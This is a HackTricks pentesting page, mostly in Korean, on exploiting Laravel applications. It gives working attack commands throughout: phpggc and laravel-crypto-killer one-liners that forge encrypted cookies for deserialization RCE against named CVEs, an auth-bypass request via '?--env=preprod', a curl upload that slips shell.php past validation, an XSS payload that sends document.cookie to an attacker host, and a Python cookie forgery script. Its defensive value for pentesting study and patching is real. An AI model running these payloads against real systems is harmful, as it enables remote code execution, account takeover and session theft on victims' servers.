Laravel

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Laravel SQLInjection

์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel >=5.6)

Laravel์€ ๋‚ด๋ถ€์ ์œผ๋กœ AES-256-CBC(๋˜๋Š” GCM)์™€ HMAC ๋ฌด๊ฒฐ์„ฑ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค (Illuminate\Encryption\Encrypter). ์ตœ์ข…์ ์œผ๋กœ ํด๋ผ์ด์–ธํŠธ์— ์ „์†ก๋˜๋Š” ์›์‹œ ์•”ํ˜ธ๋ฌธ์€ JSON ๊ฐ์ฒด์˜ Base64์™€ ๊ฐ™์€ ํ˜•ํƒœ์ž…๋‹ˆ๋‹ค:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true)๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ํ‰๋ฌธ์„ serialize() ํ•˜๋ฉฐ, ๋ฐ˜๋ฉด decrypt($payload, $unserialize=true)๋Š” ๋ณตํ˜ธํ™”๋œ ๊ฐ’์„ ์ž๋™์œผ๋กœ unserialize() ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ 32๋ฐ”์ดํŠธ ๋น„๋ฐ€๊ฐ’ APP_KEY๋ฅผ ์•Œ๊ณ  ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” ์•”ํ˜ธํ™”๋œ PHP ์ง๋ ฌํ™” ๊ฐ์ฒด๋ฅผ ๋งŒ๋“ค์–ด ๋งค์ง ๋ฉ”์„œ๋“œ (__wakeup, __destruct, โ€ฆ)๋ฅผ ํ†ตํ•ด RCE๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Minimal PoC (framework โ‰ฅ9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

์ƒ์„ฑ๋œ ๋ฌธ์ž์—ด์„ ์ทจ์•ฝํ•œ decrypt() sink (route param, cookie, session, โ€ฆ)์— ์ฃผ์ž…ํ•˜์„ธ์š”.


laravel-crypto-killer ๐Ÿงจ

laravel-crypto-killer์€ ์ „์ฒด ๊ณผ์ •์„ ์ž๋™ํ™”ํ•˜๊ณ  ํŽธ๋ฆฌํ•œ bruteforce ๋ชจ๋“œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

์ด ์Šคํฌ๋ฆฝํŠธ๋Š” CBC ๋ฐ GCM payload๋ฅผ ํˆฌ๋ช…ํ•˜๊ฒŒ ์ง€์›ํ•˜๋ฉฐ HMAC/tag ํ•„๋“œ๋ฅผ ์žฌ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.


์‹ค์ œ ์ทจ์•ฝํ•œ ํŒจํ„ด

ProjectVulnerable sinkGadget chain
Invoice Ninja โ‰คv5 (CVE-2024-55555)/route/{hash} โ†’ decrypt($hash)Laravel/RCE13
Snipe-IT โ‰คv6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookie โ†’ laravel_session cookieLaravel/RCE15

์ต์Šคํ”Œ๋กœ์ž‡ ์›Œํฌํ”Œ๋กœ์šฐ๋Š” ํ•ญ์ƒ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. 32-byte APP_KEY๋ฅผ ํš๋“ํ•˜๊ฑฐ๋‚˜ brute-force๋กœ ์ฐพ์•„๋ƒ…๋‹ˆ๋‹ค.
  2. PHPGGC๋กœ ๊ฐ€์ ฏ ์ฒด์ธ(์˜ˆ: Laravel/RCE13, Laravel/RCE9 ๋˜๋Š” Laravel/RCE15)์„ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  3. ์ง๋ ฌํ™”๋œ ๊ฐ€์ ฏ์„ laravel_crypto_killer.py์™€ ๋ณต๊ตฌํ•œ APP_KEY๋กœ ์•”ํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค.
  4. ์•”ํ˜ธ๋ฌธ(ciphertext)์„ ์ทจ์•ฝํ•œ decrypt() sink(route parameter, cookie, session โ€ฆ)์— ์ „๋‹ฌํ•˜์—ฌ RCE๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

์•„๋ž˜์—๋Š” ์œ„์—์„œ ์–ธ๊ธ‰ํ•œ ๊ฐ ์‹ค์ œ CVE์— ๋Œ€ํ•œ ์ „์ฒด ๊ณต๊ฒฉ ๊ฒฝ๋กœ๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ๊ฐ„๊ฒฐํ•œ one-liners(ํ•œ ์ค„ ๋ช…๋ น)๊ฐ€ ๋‚˜์˜ต๋‹ˆ๋‹ค:

# Invoice Ninja โ‰ค5 โ€“ /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT โ‰ค6 โ€“ XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater โ€“ cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

์ƒˆ๋กœ์šด Laravel ์‘๋‹ต์€ ์ตœ์†Œ ํ•˜๋‚˜์˜ ์•”ํ˜ธํ™”๋œ ์ฟ ํ‚ค(XSRF-TOKEN ๋ฐ ์ผ๋ฐ˜์ ์œผ๋กœ laravel_session)๋ฅผ ์„ค์ •ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, public internet scanners (Shodan, Censys, โ€ฆ) leak millions of ciphertexts. ์ด ์•”ํ˜ธ๋ฌธ๋“ค์€ ์˜คํ”„๋ผ์ธ์—์„œ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Synacktiv (2024-2025)๊ฐ€ ๋ฐœํ‘œํ•œ ์—ฐ๊ตฌ์˜ ์ฃผ์š” ๊ฒฐ๊ณผ:

  • Dataset July 2024 ยป 580 k tokens, 3.99 % keys cracked (โ‰ˆ23 k)
  • Dataset May 2025 ยป 625 k tokens, 3.56 % keys cracked
  • 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

  • Huge key reuse โ€“ the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, โ€ฆ).

์‚ฌ์„ค Go ๋„๊ตฌ nounours๋Š” AES-CBC/GCM bruteforce ์ฒ˜๋ฆฌ๋Ÿ‰์„ ์ดˆ๋‹น ์•ฝ 1.5 billion tries/s ์ˆ˜์ค€์œผ๋กœ ๋Œ์–ด์˜ฌ๋ ค ์ „์ฒด ๋ฐ์ดํ„ฐ์…‹ ํฌ๋ž˜ํ‚น์„ <2 minutes๋กœ ๋‹จ์ถ•ํ•ฉ๋‹ˆ๋‹ค.

CVE-2024-52301 โ€“ HTTP argv/env override โ†’ auth bypass

PHP์˜ register_argc_argv=On ์„ค์ •(๋งŽ์€ ๋ฐฐํฌํŒ์—์„œ ์ผ๋ฐ˜์ )์ผ ๋•Œ, PHP๋Š” ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด์—์„œ ํŒŒ์ƒ๋œ HTTP ์š”์ฒญ์šฉ argv ๋ฐฐ์—ด์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ตœ๊ทผ Laravel ๋ฒ„์ „์€ ์ด๋Ÿฌํ•œ โ€œCLI-likeโ€ ์ธ์ž๋“ค์„ ํŒŒ์‹ฑํ•˜๊ณ  ๋Ÿฐํƒ€์ž„์— --env=<value>๋ฅผ ์กด์ค‘ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด URL์— ํ•ด๋‹น ์ธ์ž๋ฅผ ๋ง๋ถ™์ด๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ํ˜„์žฌ HTTP ์š”์ฒญ์˜ ํ”„๋ ˆ์ž„์›Œํฌ ํ™˜๊ฒฝ์„ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Quick check:

  • Visit https://target/?--env=local or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.

  • Impact example (business logic trusting a special env):

  • If the app contains branches like if (app()->environment('preprod')) { /* bypass auth */ }, you can authenticate without valid creds by sending the login POST to:

  • POST /login?--env=preprod

  • Notes:

  • Works per-request, no persistence.

  • Requires register_argc_argv=On and a vulnerable Laravel version that reads argv for HTTP.

  • Useful primitive to surface more verbose errors in โ€œdebugโ€ envs or to trigger environment-gated code paths.

  • Mitigations:

  • Disable register_argc_argv for PHP-FPM/Apache.

  • Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to app()->environment() in production routes.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 โ€“ ์™€์ผ๋“œ์นด๋“œ ํŒŒ์ผ ๊ฒ€์ฆ ์šฐํšŒ (files.*)

Laravel 10.0โ€“10.48.28, 11.0.0โ€“11.44.0 ๋ฐ 12.0.0โ€“12.1.0์—์„œ ์กฐ์ž‘๋œ multipart ์š”์ฒญ์ด files.* / images.*์— ๋ถ™์€ ๊ทœ์น™์„ ์™„์ „ํžˆ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์™€์ผ๋“œ์นด๋“œ ํ‚ค๋ฅผ ํ™•์žฅํ•˜๋Š” ํŒŒ์„œ๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ”Œ๋ ˆ์ด์Šคํ™€๋”(์˜ˆ: __asterisk__ ์„ธ๊ทธ๋จผํŠธ ์‚ฌ์ „ ์ฑ„์šฐ๊ธฐ)์— ํ˜ผ๋™๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ image, mimes, dimensions, max ๋“ฑ์„ ์ „ํ˜€ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  UploadedFile ๊ฐ์ฒด๋ฅผ ํ•˜์ด๋“œ๋ ˆ์ดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•…์„ฑ ๋ธ”๋กญ์ด Storage::putFile*์— ๋“ค์–ด๊ฐ€๋ฉด HackTricks์— ์ด๋ฏธ ๋‚˜์—ด๋œ ํŒŒ์ผ ์—…๋กœ๋“œ ์›์‹œ( web shells, log poisoning, signed job deserialization, โ€ฆ )๋กœ ํ”ผ๋ฒ—ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŒจํ„ด ํƒ์ง€

  • ์ •์  ๋ถ„์„: rg -n "files\\.\*" -g"*.php" app/ ๋˜๋Š” FormRequest ํด๋ž˜์Šค์—์„œ rules()๊ฐ€ files.*๋ฅผ ํฌํ•จํ•˜๋Š” ๋ฐฐ์—ด์„ ๋ฐ˜ํ™˜ํ•˜๋Š”์ง€ ๊ฒ€์‚ฌ.
  • ๋™์  ๋ถ„์„: Xdebug ๋˜๋Š” Laravel Telescope๋กœ Illuminate\Validation\Validator::validate()์— ํ›…์„ ๊ฑธ์–ด ํ”„๋ฆฌํ”„๋กœ๋•์…˜ ํ™˜๊ฒฝ์—์„œ ์ทจ์•ฝ ๊ทœ์น™์— ๋„๋‹ฌํ•˜๋Š” ๋ชจ๋“  ์š”์ฒญ์„ ๋กœ๊น….
  • ๋ฏธ๋“ค์›จ์–ด/๋ผ์šฐํŠธ ๊ฒ€ํ† : ๋‹ค์ค‘ ํŒŒ์ผ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ์—”๋“œํฌ์ธํŠธ(์•„๋ฐ”ํƒ€ ์—…๋กœ๋”, ๋ฌธ์„œ ํฌํ„ธ, ๋“œ๋ž˜๊ทธ ์•ค ๋“œ๋กญ ์ปดํฌ๋„ŒํŠธ)๋Š” files.*๋ฅผ ์‹ ๋ขฐํ•˜๋Š” ๊ฒฝํ–ฅ์ด ์žˆ์Œ.

์‹ค์ „ ์ต์Šคํ”Œ๋กœ์ž‡ ์›Œํฌํ”Œ๋กœ

  1. ์ •์ƒ ์—…๋กœ๋“œ๋ฅผ ์บก์ฒ˜ํ•˜๊ณ  Burp Repeater์—์„œ ์žฌ์ƒ.
  2. ๋™์ผํ•œ ํŒŒํŠธ๋ฅผ ๋ณต์ œํ•˜๋˜ ํ•„๋“œ ์ด๋ฆ„์„ ๋ณ€๊ฒฝํ•ด ์ด๋ฏธ ํ”Œ๋ ˆ์ด์Šคํ™€๋” ํ† ํฐ์„ ํฌํ•จํ•˜๋„๋ก ํ•˜๊ฑฐ๋‚˜(์˜ˆ: files[0][__asterisk__payload]) ๋‹ค๋ฅธ ๋ฐฐ์—ด์„ ์ค‘์ฒฉ(files[0][alt][0])ํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ ๋นŒ๋“œ์—์„œ๋Š” ๋‘ ๋ฒˆ์งธ ํŒŒํŠธ๊ฐ€ ๊ฒ€์ฆ๋˜์ง€ ์•Š์ง€๋งŒ ์—ฌ์ „ํžˆ UploadedFile ํ•ญ๋ชฉ์ด ๋ฉ๋‹ˆ๋‹ค.
  3. ์œ„์กฐํ•œ ํŒŒ์ผ์„ PHP ํŽ˜์ด๋กœ๋“œ(shell.php, .phar, polyglot)๋กœ ์ง€์ •ํ•˜๊ณ  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ทธ๊ฒƒ์„ ์›น์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๋””์Šคํฌ์— ์ €์žฅํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค(์ผ๋ฐ˜์ ์œผ๋กœ php artisan storage:link๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ public/).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] โ€ฆ) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.


์ฒด์ด๋‹ํ•  ๊ฐ€์น˜๊ฐ€ ์žˆ๋Š” ์—์ฝ”์‹œ์Šคํ…œ ํŒจํ‚ค์ง€ ์ทจ์•ฝ์  (2025)

CVE-2025-47275 โ€“ Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)

If the project uses Auth0 login with the default CookieStore backend and auth0/auth0-php < 8.14.0, the GCM tag on the auth0 session cookie is short enough to brute-force offline. Capture a cookie, change the JSON payload (e.g., set "sub":"auth0|admin" and app_metadata.roles), brute-force the tag, and replay it to gain a valid Laravel guard session. Quick checks: composer.lock shows auth0/auth0-php <8.14.0 and .env has AUTH0_SESSION_STORAGE=cookie.

CVE-2025-48490 โ€“ lomkit/laravel-rest-api validation override

The lomkit/laravel-rest-api package before 2.13.0 merges per-action rules incorrectly: later definitions override earlier ones for the same attribute, letting crafted fields skip validation (e.g., overwrite filter rules during an update action), leading to mass assignment or unvalidated SQL-ish filters. Practical checks:

  • composer.lock lists lomkit/laravel-rest-api <2.13.0.
  • /_rest/users?filters[0][column]=password&filters[0][operator]== is accepted instead of rejected, showing filter validation was bypassed.

Laravel ํŒ

๋””๋ฒ„๊น… ๋ชจ๋“œ

If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:

This is usually needed for exploiting other Laravel RCE CVEs.

CVE-2024-13918 / CVE-2024-13919 โ€“ Whoops ๋””๋ฒ„๊ทธ ํŽ˜์ด์ง€์˜ reflected XSS

  • ์˜ํ–ฅ๋ฐ›๋Š” ๋ฒ„์ „: Laravel 11.9.0โ€“11.35.1 with APP_DEBUG=true (either globally or forced via misconfigured env overrides like CVE-2024-52301).
  • ์›๋ฆฌ: Whoops๊ฐ€ ๋ Œ๋”๋งํ•˜๋Š” ๋ชจ๋“  ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์€ ์˜ˆ์™ธ๋Š” ์š”์ฒญ/๋ผ์šฐํŠธ์˜ ์ผ๋ถ€๋ฅผ without HTML encodingํ•˜์—ฌ ๋ฐ˜์˜ํ•˜๋ฏ€๋กœ, ๋ผ์šฐํŠธ๋‚˜ ์š”์ฒญ ํŒŒ๋ผ๋ฏธํ„ฐ์— <img src> / <script>๋ฅผ ์ฃผ์ž…ํ•˜๋ฉด ์ธ์ฆ ์ „์— ์‘๋‹ต์— ์ €์žฅ๋˜๋Š” XSS๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  • Impact: steal XSRF-TOKEN, leak stack traces with secrets, open a browser-based pivot to hit _ignition/execute-solution in victim sessions, or chain with passwordless dashboards that rely on cookies.

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Even if debug mode is normally off, forcing an error via background jobs or queue workers and probing the _ignition/health-check endpoint often reveals staging hosts that still expose this chain.

Fingerprinting & exposed dev endpoints

Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:

  • /_ignition/health-check โ†’ Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
  • /_debugbar โ†’ Laravel Debugbar assets; often indicates debug mode.
  • /telescope โ†’ Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
  • /horizon โ†’ Queue dashboard; version disclosure and sometimes CSRF-protected actions.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel์€ ์ฟ ํ‚ค์™€ ๋‹ค๋ฅธ ์ž๊ฒฉ์ฆ๋ช…์„ ์•”ํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜๋Š” APP๋ฅผ .env๋ผ๋Š” ํŒŒ์ผ์— ์ €์žฅํ•˜๋ฉฐ, ์ด ํŒŒ์ผ์€ /../.env ๊ฐ™์€ ๊ฒฝ๋กœ ์ˆœํšŒ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.

Laravel์€ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  ๋””๋ฒ„๊ทธ๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, ๋””๋ฒ„๊ทธ ํŽ˜์ด์ง€์— ์ด ์ •๋ณด๋ฅผ ํ‘œ์‹œํ•˜๊ธฐ๋„ ํ•œ๋‹ค.

Laravel์˜ ๋น„๋ฐ€ APP_KEY๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ฟ ํ‚ค๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๊ณ  ์žฌ์•”ํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ๋‹ค:

์ฟ ํ‚ค ๋ณตํ˜ธํ™”

์ฟ ํ‚ค ๋ณตํ˜ธํ™”/์•”ํ˜ธํ™” ๋„์šฐ๋ฏธ (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[โ€˜macโ€™] value = bytes(dic[โ€˜valueโ€™], โ€˜utf-8โ€™) iv = bytes(dic[โ€˜ivโ€™], โ€˜utf-8โ€™) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return โ€˜โ€™

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, โ€˜utf-8โ€™) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {โ€˜ivโ€™: iv.decode(), โ€˜valueโ€™: value.decode(), โ€˜macโ€™: mac} return base64.b64encode(bytes(json.dumps(dic), โ€˜utf-8โ€™))

app_key =โ€˜HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=โ€™ key = base64.b64decode(app_key) decrypt(โ€˜eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9โ€™) #bโ€™{โ€œdataโ€:โ€œa:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}โ€,โ€œexpiresโ€:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0eโ€™ encrypt(bโ€™{โ€œdataโ€:โ€œa:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}โ€,โ€œexpiresโ€:1605141157}โ€™)

</details>

### Laravel ์—ญ์ง๋ ฌํ™” RCE

์ทจ์•ฝํ•œ ๋ฒ„์ „: 5.5.40 ๋ฐ 5.6.x๋ถ€ํ„ฐ 5.6.29๊นŒ์ง€ ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

๋‹ค์Œ์—์„œ ์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์  ๊ด€๋ จ ์ •๋ณด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

๋‹ค์Œ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•ด ํ…Œ์ŠคํŠธํ•˜๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
๋˜๋Š” metasploit์œผ๋กœ ์ต์Šคํ”Œ๋กœ์ž‡ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

๋˜ ๋‹ค๋ฅธ ์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์ : [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dโ€™APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC โ€“ PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory โ€“ Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC โ€“ register_argc_argv HTTP argv โ†’ --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf โ€“ HTB Environment (CVEโ€‘2024โ€‘52301 env override โ†’ auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 โ€“ Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research โ€“ CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 โ€“ Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 โ€“ lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)


> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
